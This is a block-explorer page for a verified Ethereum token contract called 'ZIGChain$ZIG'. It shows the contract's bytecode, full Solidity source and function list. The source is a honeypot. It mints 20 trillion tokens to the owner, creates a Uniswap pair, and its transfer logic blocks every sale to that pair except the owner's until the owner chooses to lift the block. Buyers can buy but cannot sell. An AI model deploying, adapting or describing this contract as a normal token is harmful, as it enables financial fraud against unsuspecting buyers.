Address Contract Verified
Address
0x30587679dbC014C594CAA7d23Fce8d0416674841
Balance
0 ETH
Nonce
1
Code Size
4128 bytes
Creator
0x7c731003...B148 at tx 0xe170b3fe...3d3b9a
Indexed Transactions
0 (1 on-chain, 0.9% indexed)
Contract Bytecode
4128 bytes
0x608060405234801561000f575f5ffd5b50600436106100f3575f3560e01c806332fe7b2611610095578063a8aa1b3111610064578063a8aa1b3114610263578063a9059cbb14610281578063ad5c4648146102b1578063dd62ed3e146102cf576100f3565b806332fe7b26146101d957806370a08231146101f75780638da5cb5b1461022757806395d89b4114610245576100f3565b806318160ddd116100d157806318160ddd1461016357806323b872dd146101815780632a85e9ac146101b1578063313ce567146101bb576100f3565b806306fdde03146100f7578063095ea7b3146101155780630a5ca5a914610145575b5f5ffd5b6100ff6102ff565b60405161010c9190610afb565b60405180910390f35b61012f600480360381019061012a9190610bac565b61038a565b60405161013c9190610c04565b60405180910390f35b61014d610477565b60405161015a9190610c04565b60405180910390f35b61016b61048a565b6040516101789190610c2c565b60405180910390f35b61019b60048036038101906101969190610c45565b610490565b6040516101a89190610c04565b60405180910390f35b6101b96105f0565b005b6101c361069b565b6040516101d09190610cb0565b60405180910390f35b6101e16106ad565b6040516101ee9190610cd8565b60405180910390f35b610211600480360381019061020c9190610cf1565b6106c5565b60405161021e9190610c2c565b60405180910390f35b61022f6106da565b60405161023c9190610cd8565b60405180910390f35b61024d6106ff565b60405161025a9190610afb565b60405180910390f35b61026b61078b565b6040516102789190610cd8565b60405180910390f35b61029b60048036038101906102969190610bac565b6107b0565b6040516102a89190610c04565b60405180910390f35b6102b96107c6565b6040516102c69190610cd8565b60405180910390f35b6102e960048036038101906102e49190610d1c565b6107de565b6040516102f69190610c2c565b60405180910390f35b5f805461030b90610d87565b80601f016020809104026020016040519081016040528092919081815260200182805461033790610d87565b80156103825780601f1061035957610100808354040283529160200191610382565b820191905f5260205f20905b81548152906001019060200180831161036557829003601f168201915b505050505081565b5f8160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104659190610c2c565b60405180910390a36001905092915050565b600760149054906101000a900460ff1681565b60035481565b5f8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561054c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054390610e01565b60405180910390fd5b8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546105d39190610e4c565b925050819055506105e58484846107fe565b600190509392505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461067f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067690610ec9565b60405180910390fd5b5f600760146101000a81548160ff021916908315150217905550565b60025f9054906101000a900460ff1681565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6005602052805f5260405f205f915090505481565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461070c90610d87565b80601f016020809104026020016040519081016040528092919081815260200182805461073890610d87565b80156107835780601f1061075a57610100808354040283529160200191610783565b820191905f5260205f20905b81548152906001019060200180831161076657829003601f168201915b505050505081565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6107bc3384846107fe565b6001905092915050565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6006602052815f5260405f20602052805f5260405f205f91509150505481565b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561087e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087590610f31565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156108e65750600760149054906101000a900460ff165b1561097b5760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190610f99565b60405180910390fd5b5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546109c79190610e4c565b925050819055508060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a1a9190610fb7565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a7e9190610c2c565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610acd82610a8b565b610ad78185610a95565b9350610ae7818560208601610aa5565b610af081610ab3565b840191505092915050565b5f6020820190508181035f830152610b138184610ac3565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610b4882610b1f565b9050919050565b610b5881610b3e565b8114610b62575f5ffd5b50565b5f81359050610b7381610b4f565b92915050565b5f819050919050565b610b8b81610b79565b8114610b95575f5ffd5b50565b5f81359050610ba681610b82565b92915050565b5f5f60408385031215610bc257610bc1610b1b565b5b5f610bcf85828601610b65565b9250506020610be085828601610b98565b9150509250929050565b5f8115159050919050565b610bfe81610bea565b82525050565b5f602082019050610c175f830184610bf5565b92915050565b610c2681610b79565b82525050565b5f602082019050610c3f5f830184610c1d565b92915050565b5f5f5f60608486031215610c5c57610c5b610b1b565b5b5f610c6986828701610b65565b9350506020610c7a86828701610b65565b9250506040610c8b86828701610b98565b9150509250925092565b5f60ff82169050919050565b610caa81610c95565b82525050565b5f602082019050610cc35f830184610ca1565b92915050565b610cd281610b3e565b82525050565b5f602082019050610ceb5f830184610cc9565b92915050565b5f60208284031215610d0657610d05610b1b565b5b5f610d1384828501610b65565b91505092915050565b5f5f60408385031215610d3257610d31610b1b565b5b5f610d3f85828601610b65565b9250506020610d5085828601610b65565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610d9e57607f821691505b602082108103610db157610db0610d5a565b5b50919050565b7f4e6f20616c6c6f77616e636500000000000000000000000000000000000000005f82015250565b5f610deb600c83610a95565b9150610df682610db7565b602082019050919050565b5f6020820190508181035f830152610e1881610ddf565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e5682610b79565b9150610e6183610b79565b9250828203905081811115610e7957610e78610e1f565b5b92915050565b7f4e6f74206f776e657200000000000000000000000000000000000000000000005f82015250565b5f610eb3600983610a95565b9150610ebe82610e7f565b602082019050919050565b5f6020820190508181035f830152610ee081610ea7565b9050919050565b7f4c6f772062616c616e63650000000000000000000000000000000000000000005f82015250565b5f610f1b600b83610a95565b9150610f2682610ee7565b602082019050919050565b5f6020820190508181035f830152610f4881610f0f565b9050919050565b7f53656c6c20626c6f636b656400000000000000000000000000000000000000005f82015250565b5f610f83600c83610a95565b9150610f8e82610f4f565b602082019050919050565b5f6020820190508181035f830152610fb081610f77565b9050919050565b5f610fc182610b79565b9150610fcc83610b79565b9250828201905080821115610fe457610fe3610e1f565b5b9291505056fea26469706673582212202ab6c2e07d907e3738a1508f1a25dac9524a770bf54f504d4e738cf62ac85d1464736f6c634300081f0033
Verified Source Code Full Match
Compiler: v0.8.31+commit.fd3a2265
EVM: osaka
Optimization: No
ZIGChain.sol 95 lines
/**
*Submitted for verification at etherscan.io on 2026-03-01
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IRouter {
function factory() external view returns (address);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract ZIGChain {
string public name = "ZIGChain$ZIG";
string public symbol = "ZIGChain$ZIG";
uint8 public decimals = 18;
uint256 public totalSupply;
address public owner;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
// ==== HARD-CODED (Ethereum Mainnet) ====
address public constant ROUTER =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap V2
address public constant WETH =
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // WETH
address public pair;
bool public sellBlocked = true;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
constructor() {
owner = msg.sender;
// ===== 20 TRILLION SUPPLY =====
totalSupply = 20_000_000_000_000 * 10 ** decimals;
balanceOf[owner] = totalSupply;
pair = IFactory(IRouter(ROUTER).factory())
.createPair(address(this), WETH);
emit Transfer(address(0), owner, totalSupply);
}
// ===== TRANSFER =====
function transfer(address to, uint256 amount) external returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal {
require(balanceOf[from] >= amount, "Low balance");
// Public SELL blocked (to pair)
if (to == pair && sellBlocked) {
require(from == owner, "Sell blocked");
}
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
}
// ===== APPROVALS =====
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
require(allowance[from][msg.sender] >= amount, "No allowance");
allowance[from][msg.sender] -= amount;
_transfer(from, to, amount);
return true;
}
// ===== OWNER CONTROL =====
function unblockSell() external onlyOwner {
sellBlocked = false;
}
}
Read Contract
ROUTER 0x32fe7b26 → address
WETH 0xad5c4648 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
pair 0xa8aa1b31 → address
sellBlocked 0x0a5ca5a9 → bool
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 4 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
unblockSell 0x2a85e9ac
No parameters
Recent Transactions
This address has 1 on-chain transactions, but only 0.9% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →